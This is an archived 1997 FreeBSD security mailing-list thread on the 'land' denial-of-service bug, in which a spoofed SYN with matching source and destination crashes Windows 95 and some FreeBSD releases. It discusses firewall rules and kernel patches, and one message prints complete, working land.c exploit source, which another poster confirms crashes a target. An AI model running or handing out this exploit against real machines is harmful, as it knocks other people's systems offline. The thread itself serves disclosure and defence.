&pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet\n"); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); } --- snip snip ----------------------------------------------------------- From owner-freebsd-security Thu Nov 20 14:07:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA12534 for security-outgoing; Thu, 20 Nov 1997 14:07:43 -0800 (PST) (envelope-from owner-freebsd-security) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA12523 for ; Thu, 20 Nov 1997 14:07:38 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id OAA29410; Thu, 20 Nov 1997 14:08:47 -0800 (PST) Date: Thu, 20 Nov 1997 14:08:47 -0800 (PST) From: Jim Shankland Message-Id: <199711202208.OAA29410@biggusdiskus.flyingfox.com> To: robert@cyrus.watson.org Subject: Re: new TCP/IP bug in win95 (fwd) Cc: security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Interesting. So the TCP stack gets into a lively conversation with itself, since the source-address and port are the same as the destination address and port. The obvious fix would appear to be to drop such packets in tcp_input.c when the TCP state is TCPS_LISTEN. Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-security Thu Nov 20 14:10:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA12746 for security-outgoing; Thu, 20 Nov 1997 14:10:35 -0800 (PST) (envelope-from owner-freebsd-security) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA12735 for ; Thu, 20 Nov 1997 14:10:27 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from cyrus.watson.org (cyrus.pr.watson.org [192.0.2.4]) by fledge.watson.org (8.8.8/8.6.10) with SMTP id RAA19974; Thu, 20 Nov 1997 17:10:07 -0500 (EST) Date: Thu, 20 Nov 1997 17:14:08 -0500 (EST) From: Robert Watson Reply-To: Robert Watson To: Jim Shankland cc: security@freebsd.org Subject: Re: new TCP/IP bug in win95 (fwd) In-Reply-To: <199711202208.OAA29410@biggusdiskus.flyingfox.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 20 Nov 1997, Jim Shankland wrote: > Interesting. So the TCP stack gets into a lively conversation with > itself, since the source-address and port are the same as the > destination address and port. > > The obvious fix would appear to be to drop such packets in tcp_input.c > when the TCP state is TCPS_LISTEN. As a temporary non-hacking fix, I had planned on just using ipfw to filter out packets from myself. Presumably the ipfw processing occurs before the listen-ness of the arrangement is noticed :). Maybe, if we haven't already (have not checked), it should be a standard firewall rule that one drop packets from oneself that come from other people. Not sure how one would implement that, though, without netstat -ni'ing or using ifconfig or such, which is kind of a hack. Robert N Watson Junior, Logic+Computation, Carnegie Mellon University http://www.cmu.edu/ Network Administrator, SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/ From owner-freebsd-security Thu Nov 20 15:11:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA17469 for security-outgoing; Thu, 20 Nov 1997 15:11:48 -0800 (PST) (envelope-from owner-freebsd-security) Received: from fledge.watson.org (root@FLEDGE.RES.CMU.EDU [128.2.91.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA17460 for ; Thu, 20 Nov 1997 15:11:38 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from cyrus.watson.org (cyrus.pr.watson.org [192.0.2.4]) by fledge.watson.org (8.8.8/8.6.10) with SMTP id SAA20637; Thu, 20 Nov 1997 18:11:17 -0500 (EST) Date: Thu, 20 Nov 1997 18:15:22 -0500 (EST) From: Robert Watson Reply-To: Robert Watson To: freebsd-security@freebsd.org, bugtraq@netspace.org Subject: ipfw workaround for syn-loop attack, FreeBSD 2.2.5-STABLE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Adding a rule for the interface denying packets from oneself appears to defend against the new attack. This rule worked: 03001 deny ip from 128.2.91.57 to 128.2.91.57 via ed0 Where 128.2.91.57 is the host's IP address on device ed0. This presumably works on other versions of FreeBSD, and other systems with ipfw/ipfirewall installed on them. As always, if you are not familiar with ipfw and don't know how it works, don't use this unless you are on the console the first time! Adding this to rc.firewall on FreeBSD is also a good idea. Multi-homed hosts require one entry per device, needless to say. Robert N Watson Junior, Logic+Computation, Carnegie Mellon University http://www.cmu.edu/ Network Administrator, SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/ From owner-freebsd-security Thu Nov 20 17:19:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA27910 for security-outgoing; Thu, 20 Nov 1997 17:19:58 -0800 (PST) (envelope-from owner-freebsd-security) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA27900 for ; Thu, 20 Nov 1997 17:19:53 -0800 (PST) (envelope-from fenner@parc.xerox.com) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <54406(6)>; Thu, 20 Nov 1997 17:07:20 PST Received: from localhost by crevenia.parc.xerox.com with SMTP id <177476>; Thu, 20 Nov 1997 17:07:14 -0800 To: freebsd-security@freebsd.org Subject: Re: new TCP/IP bug in win95 (fwd) In-reply-to: Your message of "Thu, 20 Nov 97 11:00:31 PST." <199711201900.UAA28913@bb-prg.eunet.cz> Date: Thu, 20 Nov 1997 17:07:12 PST From: Bill Fenner Message-Id: <97Nov20.170714pst.177476@crevenia.parc.xerox.com> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Martin Machacek wrote: >FreeBSD 2.2.2 does not seem to be vulnerable, Aha, that's why I haven't been able to replicate it. Bill From owner-freebsd-security Thu Nov 20 17:50:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA00475 for security-outgoing; Thu, 20 Nov 1997 17:50:05 -0800 (PST) (envelope-from owner-freebsd-security) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA00442 for ; Thu, 20 Nov 1997 17:49:58 -0800 (PST) (envelope-from danny@panda.hilink.com.au) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id MAA18200; Fri, 21 Nov 1997 12:49:07 +1100 (EST) Date: Fri, 21 Nov 1997 12:49:05 +1100 (EST) From: "Daniel O'Callaghan" To: Robert Watson cc: freebsd-security@FreeBSD.ORG, bugtraq@netspace.org Subject: Re: ipfw workaround for syn-loop attack, FreeBSD 2.2.5-STABLE In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 20 Nov 1997, Robert Watson wrote: > Adding a rule for the interface denying packets from oneself appears to > defend against the new attack. > > This rule worked: > 03001 deny ip from 128.2.91.57 to 128.2.91.57 via ed0 > Where 128.2.91.57 is the host's IP address on device ed0. > > Adding this to rc.firewall on FreeBSD is also a good idea. Multi-homed > hosts require one entry per device, needless to say. With terminal servers which have IP addresses which move from interface to interface, the following rules are more generic: ---------------------------------------------- #!/bin/sh /sbin/ipfw add 1 allow ip from any to any via lo0 for ip in 127.0.0.1 192.2.3.4 192.2.3.6 192.7.8.9 do /sbin/ipfw add 2 deny log ip from $ip to any in done ----------------------------------------------- The above will prevent all self-spoofing attacks. The posted (and merged) fix in tcp_input.c will not prevent attacks where packets are formed to go from one interface to another on a multi-homed machine. I have not verified that the multi-homed attack works, but my guess is that it would. Sigh. I had made a start on reducing vulnerability to this sort of thing in rc.firewall, but I had only got as far as 127.0.0.0/8 and had to get back to money-earning work. Looks like I should finish the job. Danny From owner-freebsd-security Thu Nov 20 19:54:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA08355 for security-outgoing; Thu, 20 Nov 1997 19:54:15 -0800 (PST) (envelope-from owner-freebsd-security) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA08311 for ; Thu, 20 Nov 1997 19:54:06 -0800 (PST) (envelope-from avalon@coombs.anu.edu.au) Message-Id: <199711210354.TAA08311@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA249724286; Fri, 21 Nov 1997 14:51:26 +1100 From: Darren Reed Subject: Re: ipfw workaround for syn-loop attack, FreeBSD 2.2.5-STABLE To: danny@panda.hilink.com.au (Daniel O'Callaghan) Date: Fri, 21 Nov 1997 14:51:26 +1100 (EDT) Cc: robert@cyrus.watson.org, freebsd-security@FreeBSD.ORG, bugtraq@netspace.org In-Reply-To: from "Daniel O'Callaghan" at Nov 21, 97 12:49:05 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk There's a perl script called "mkfilters" distributed with IP filter which will generate the appropriate list of configuration lines to prevent any spoofed packets. This is only recommended for use as a baseline to build from, however. The script does attempt to handle ppp interfaces, although dynamic allocation of ppp numbers (both interface and IP#) can hamper any efforts to do this sanely. example output: # # The following routes should be configured, if not already: # # route add 10.1.1.1 localhost 0 # block in log quick from any to any with ipopts block in log quick proto tcp from any to any with short pass out on le0 all head 250 block out from 127.0.0.0/8 to any group 250 block out from any to 127.0.0.0/8 group 250 block out from any to 10.1.1.1/32 group 250 pass in on le0 all head 200 block in from 127.0.0.0/8 to any group 200 block in from 10.1.1.1/32 to any group 200 where le0 is 10.1.1.1. Darren From owner-freebsd-security Fri Nov 21 05:01:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA05797 for security-outgoing; Fri, 21 Nov 1997 05:01:15 -0800 (PST) (envelope-from owner-freebsd-security) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA05791 for ; Fri, 21 Nov 1997 05:01:12 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id FAA28278; Fri, 21 Nov 1997 05:00:59 -0800 (PST) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id FAA16152; Fri, 21 Nov 1997 05:00:58 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id FAA14741; Fri, 21 Nov 1997 05:00:57 -0800 (PST) From: Don Lewis Message-Id: <199711211300.FAA14741@salsa.gv.tsc.tdk.com> Date: Fri, 21 Nov 1997 05:00:57 -0800 In-Reply-To: Jim Shankland "Re: new TCP/IP bug in win95 (fwd)" (Nov 20, 2:08pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Jim Shankland , robert@cyrus.watson.org Subject: Re: new TCP/IP bug in win95 (fwd) Cc: security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Nov 20, 2:08pm, Jim Shankland wrote: } Subject: Re: new TCP/IP bug in win95 (fwd) } Interesting. So the TCP stack gets into a lively conversation with } itself, since the source-address and port are the same as the } destination address and port. } } The obvious fix would appear to be to drop such packets in tcp_input.c } when the TCP state is TCPS_LISTEN. I think the proper fix is to move this check that is done in the ACK processing code: case TCPS_SYN_RECEIVED: if (SEQ_GT(tp->snd_una, ti->ti_ack) || SEQ_GT(ti->ti_ack, tp->snd_max)) goto dropwithreset; to a point before the code that trims the data to fit the window (which may do "goto dropafterack;"). The code for the SYN_SENT state does such a check early in the code. Ironically the FreeBSD tcp_input() implementation also used this part of the SYN_SENT code in the SYN_RCVD state, but that was undone because it the RST handling in this same section of code was not appropriate in the SYN_RCVD state. I think something like this (untested) patch should do the trick: --- tcp_input.c.prev Fri Nov 21 04:34:51 1997 +++ tcp_input.c Fri Nov 21 05:00:07 1997 @@ -752,6 +752,17 @@ } /* + * If the state is SYN_RCVD: + * if seg contains an ACK, but not for our SYN,ACK, drop the input. + * Otherwise continue processing + */ + case TCPS_SYN_RECEIVED: + if (SEQ_GT(tp->snd_una, ti->ti_ack) || + SEQ_GT(ti->ti_ack, tp->snd_max)) + goto dropwithreset; + break; /* continue normal processing */ + + /* * If the state is SYN_SENT: * if seg contains an ACK, but not for our SYN, drop the input. * if seg contains a RST, then drop the connection. @@ -1171,9 +1182,7 @@ * send an RST. */ case TCPS_SYN_RECEIVED: - if (SEQ_GT(tp->snd_una, ti->ti_ack) || - SEQ_GT(ti->ti_ack, tp->snd_max)) - goto dropwithreset; + /* ACK validation was done earlier, before window trim */ tcpstat.tcps_connects++; soisconnected(so); From owner-freebsd-security Fri Nov 21 05:06:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA06067 for security-outgoing; Fri, 21 Nov 1997 05:06:45 -0800 (PST) (envelope-from owner-freebsd-security) Received: from caseq.tangram.spb.ru (ppp4.robotek.neva.ru [195.208.116.44]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA06059 for ; Fri, 21 Nov 1997 05:06:29 -0800 (PST) (envelope-from caseq@tangram.spb.ru) Received: (from caseq@localhost) by caseq.tangram.spb.ru (8.8.5/8.8.5) id QAA01747; Fri, 21 Nov 1997 16:06:19 +0300 (MSK) From: Andrew Kosyakov Message-Id: <199711211306.QAA01747@caseq.tangram.spb.ru> Subject: Re: new TCP/IP bug in win95 (fwd) In-Reply-To: <199711201900.UAA28913@bb-prg.eunet.cz> from "Martin Machacek" at "Nov 20, 97 08:00:31 pm" To: Martin.Machacek@eunet.cz (Martin Machacek) Date: Fri, 21 Nov 1997 16:06:18 +0300 (MSK) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Quoting Martin Machacek: > > This seems relevant, although no doubt by the time this arrives, others > > will have managed to foward this to the list :) > > > > Have not confirmed results, don't have any machines localy that I can > > afford to blow away. > > I've tried the exploit against FreeBSD 2.2.2, 2.2.5 and 3.0-current and the > results were interesting. FreeBSD 2.2.2 does not seem to be vulnerable, > however both 2.2.5 and 3.0 froze. Another interesting thing is that the > exploit cannot be run on FreeBSD (I've patched it to compile) because sendto > even on raw socket plugs correct source address into the packet. In fact, it prepends entire IP header, unless you explicitly ask it not to do so -- RTFM ip(4). Here's the version that runs on FreeBSD (it didn't crash my 2.2.2, however I've seen series of several SYN and RST packets going back and forth with interval of several seconds and then silently stop after about six iterations. This is observed on most ports but 139, where there's only one iteration (so, probably some socket options do matter). caseq:/usr/home/caseq#>tcpdump -i lo0 host localhost and port 22 tcpdump: listening on lo0 15:58:02.025136 localhost.ssh > localhost.ssh: S 3868:3868(0) win 2048 15:58:02.025358 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 49152 (DF) 15:58:02.025407 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344 15:58:04.920135 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 (DF) 15:58:04.920250 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344 15:58:10.920130 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 (DF) 15:58:10.920244 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344 15:58:22.920145 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 (DF) 15:58:22.920261 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344 15:58:46.920157 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 (DF) 15:58:46.920273 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344 15:59:16.920146 localhost.ssh > localhost.ssh: R 1:1(0) ack 1 win 57344 (DF) This is FreeBSD version of land.c: /* land.c by m3lt, FLC (modified by caseq to compile on FreeBSD) crashes a win95 box */ #include #include #include #include #include #include #include #include #include #include struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; int hincl = 1; /* 1 = on, 0 = off */ fprintf(stderr,"land.c by m3lt, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=IPVERSION; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(0xF1C); ipheader->ip_ttl=255; ipheader->ip_p=IPPROTO_TCP; ipheader->ip_src=sin.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=IPPROTO_TCP; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl))) { fprintf(stderr,"Unable to set IP_HDRINCL to 1: %s",strerror(errno)); return -1; } if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet: %s\n",strerror(errno)); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); } Sincerely yours /&rew --- Andrew Kosyakov, Tangram Ltd, +7 (812) 516-6981, caseq@tangram.spb.ru PGP Key fingerprint: BA A8 48 20 E4 AE 9C 52 C5 5F C3 B8 1E 67 2C BF From owner-freebsd-security Fri Nov 21 09:10:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA22310 for security-outgoing; Fri, 21 Nov 1997 09:10:27 -0800 (PST) (envelope-from owner-freebsd-security) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA22294 for ; Fri, 21 Nov 1997 09:10:23 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id JAA04036; Fri, 21 Nov 1997 09:11:25 -0800 (PST) Date: Fri, 21 Nov 1997 09:11:25 -0800 (PST) From: Jim Shankland Message-Id: <199711211711.JAA04036@biggusdiskus.flyingfox.com> To: Don.Lewis@tsc.tdk.com Subject: Re: new TCP/IP bug in win95 (fwd) Cc: security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hmm, I'm not sure I agree that your fix is optimal for this bug, Don. Seems like you're relying on the ACK field being out of range to drop the packet that the victim machine itself generated. Apart from generating an extra packet (the bogus response that the victim sends in response to the original, forged SYN), it also seems that if the attacker can guess the right sequence number, it can circumvent your fix. Granted, that's much harder -- and more platform-variable -- than the exploit that's been posted. The essence of the attack lies in engineering a TCP connection in which (src-ip, src-port) is equal to (dst-ip, dst-port); the fact that the ACK value in the second packet is out of range seems like a sort of side effect. I can't think of any case in which it would be legal or desirable to have a TCP connection with (src-ip, src-port) equal to (dst-ip, dst-port); so why not just reject such a connection attempt out of hand in the TCPS_LISTEN state? Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-security Fri Nov 21 10:28:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA28935 for security-outgoing; Fri, 21 Nov 1997 10:28:28 -0800 (PST) (envelope-from owner-freebsd-security) Received: from church.cse.ogi.edu (cse.ogi.edu [129.95.20.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA28904 for ; Fri, 21 Nov 1997 10:28:17 -0800 (PST) (envelope-from jrb@cse.ogi.edu) Received: from church.cse.ogi.edu (localhost [127.0.0.1]) by church.cse.ogi.edu (8.8.6/8.8.6) with ESMTP id KAA23368; Fri, 21 Nov 1997 10:28:01 -0800 (PST) Message-Id: <199711211828.KAA23368@church.cse.ogi.edu> To: Andrew Kosyakov cc: freebsd-security@freebsd.org, jrb@cse.ogi.edu Subject: Re: new TCP/IP bug in win95 (fwd) In-reply-to: Your message of "Fri, 21 Nov 1997 16:06:18 +0300." <199711211306.QAA01747@caseq.tangram.spb.ru> Date: Fri, 21 Nov 1997 10:28:01 -0800 From: Jim Binkley Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Has anyone used the supplied freebsd code (by Andrew Kosyakov I believe) successfully against a W95 or WNT box. I have tried it against freebsd 2.2.1/W95/and Solaris 2.6 and haven't seen a crash yet. regards, Jim Binkley jrb@cse.ogi.edu From owner-freebsd-security Fri Nov 21 11:25:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA03974 for security-outgoing; Fri, 21 Nov 1997 11:25:12 -0800 (PST) (envelope-from owner-freebsd-security) Received: from church.cse.ogi.edu (cse.ogi.edu [129.95.20.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA03965 for ; Fri, 21 Nov 1997 11:25:08 -0800 (PST) (envelope-from jrb@cse.ogi.edu) Received: from church.cse.ogi.edu (localhost [127.0.0.1]) by church.cse.ogi.edu (8.8.6/8.8.6) with ESMTP id LAA27897; Fri, 21 Nov 1997 11:24:09 -0800 (PST) Message-Id: <199711211924.LAA27897@church.cse.ogi.edu> To: freebsd-security@freebsd.org, jrb@cse.ogi.edu Subject: Re: new TCP/IP bug in win95 (fwd) In-reply-to: Your message of "Fri, 21 Nov 1997 10:28:01 PST." <199711211828.KAA23368@church.cse.ogi.edu> Date: Fri, 21 Nov 1997 11:24:09 -0800 From: Jim Binkley Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Let me answer my own question. Operator error!. I am not exactly an expert on W95/TCP setup... I failed to actually find a live tcp port on the W95 box on the 1st go around but got some local help and just proved to myself that I can crash it with the code supplied to this list. So the code works ... well you know what I mean. Jim jrb@cse.ogi.edu From owner-freebsd-security Fri Nov 21 14:47:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA21213 for security-outgoing; Fri, 21 Nov 1997 14:47:37 -0800 (PST) (envelope-from owner-freebsd-security) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA21208 for ; Fri, 21 Nov 1997 14:47:31 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id OAA05944; Fri, 21 Nov 1997 14:47:23 -0800 (PST) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id OAA25589; Fri, 21 Nov 1997 14:47:22 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id OAA15771; Fri, 21 Nov 1997 14:47:20 -0800 (PST) From: Don Lewis Message-Id: <199711212247.OAA15771@salsa.gv.tsc.tdk.com> Date: Fri, 21 Nov 1997 14:47:19 -0800 In-Reply-To: Jim Shankland "Re: new TCP/IP bug in win95 (fwd)" (Nov 21, 9:11am) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Jim Shankland , Don.Lewis@tsc.tdk.com Subject: Re: new TCP/IP bug in win95 (fwd) Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Nov 21, 9:11am, Jim Shankland wrote: } Subject: Re: new TCP/IP bug in win95 (fwd) } Hmm, I'm not sure I agree that your fix is optimal for this bug, Don. I'm not sure myself, but see below. } Seems like you're relying on the ACK field being out of range to drop } the packet that the victim machine itself generated. Yes, because if the ACK is out of range the SYN flag may be cleared. } Apart from } generating an extra packet (the bogus response that the victim sends } in response to the original, forged SYN), it also seems that if the } attacker can guess the right sequence number, it can circumvent your } fix. Granted, that's much harder -- and more platform-variable -- } than the exploit that's been posted. If the attacker guesses the right sequence number to generate an in range ACK, then the SYN flag is not cleared, and the connection is dropped later in the code: /* * If a SYN is in the window, then this is an * error and we send an RST and drop the connection. */ if (tiflags & TH_SYN) { tp = tcp_drop(tp, ECONNRESET); goto dropwithreset; } I think the RST should be sent because this packet could actually be from another host. My change just happens to be source address neutral. What I'm not sure of is if my sequence number test catches all the potential problems. I just moved the existing ACK test earlier in the code. Maybe it would be better to change this test to always drop the packet and send RST if we see a SYN,ACK in the SYN_RCVD state. I really need to think about this some more and comments are most welcome. } The essence of the attack lies in engineering a TCP connection in } which (src-ip, src-port) is equal to (dst-ip, dst-port); the fact } that the ACK value in the second packet is out of range seems like } a sort of side effect. I think the ACK value being out of range is what makes the attack work, causing the stack gets into an ACK war with itself trying to synchronize sequence numbers. If the ACK is in range, then the stack should see the SYN flag, send a RST which will end up getting ignored because the connection will already gone by the time it's processed, and drop the connection. I think it's also possible to exploit this using two different ports on the same host, or two different IP addresses on the host if it's multihomed. It's more difficult since it would require sending two spoofed SYNs back to back, each of which would have to be processed before either of the responses generated are processed. } I can't think of any case in which it would } be legal or desirable to have a TCP connection with (src-ip, src-port) } equal to (dst-ip, dst-port); so why not just reject such a connection } attempt out of hand in the TCPS_LISTEN state? I don't think this completely closes the hole, but it does block the easiest attack. BTW, such connections are legal, but the state transition diagram goes from SYN_SENT -> SYN_RCVD -> ESTABLISHED, so blocking this attack in the LISTEN state should not be a problem. From owner-freebsd-security Fri Nov 21 15:08:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA22723 for security-outgoing; Fri, 21 Nov 1997 15:08:46 -0800 (PST) (envelope-from owner-freebsd-security) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id PAA22713 for ; Fri, 21 Nov 1997 15:08:40 -0800 (PST) (envelope-from fenner@parc.xerox.com) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <53741(6)>; Fri, 21 Nov 1997 15:08:03 PST Received: from localhost by crevenia.parc.xerox.com with SMTP id <177476>; Fri, 21 Nov 1997 15:07:48 -0800 To: Jim Shankland cc: Don.Lewis@tsc.tdk.com, security@freebsd.org Subject: Re: new TCP/IP bug in win95 (fwd) In-reply-to: Your message of "Fri, 21 Nov 97 09:11:25 PST." <199711211711.JAA04036@biggusdiskus.flyingfox.com> Date: Fri, 21 Nov 1997 15:07:35 PST From: Bill Fenner Message-Id: <97Nov21.150748pst.177476@crevenia.parc.xerox.com> Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jim Shankland wrote: >I can't think of any case in which it would >be legal or desirable to have a TCP connection with (src-ip, src-port) >equal to (dst-ip, dst-port) It's legal. 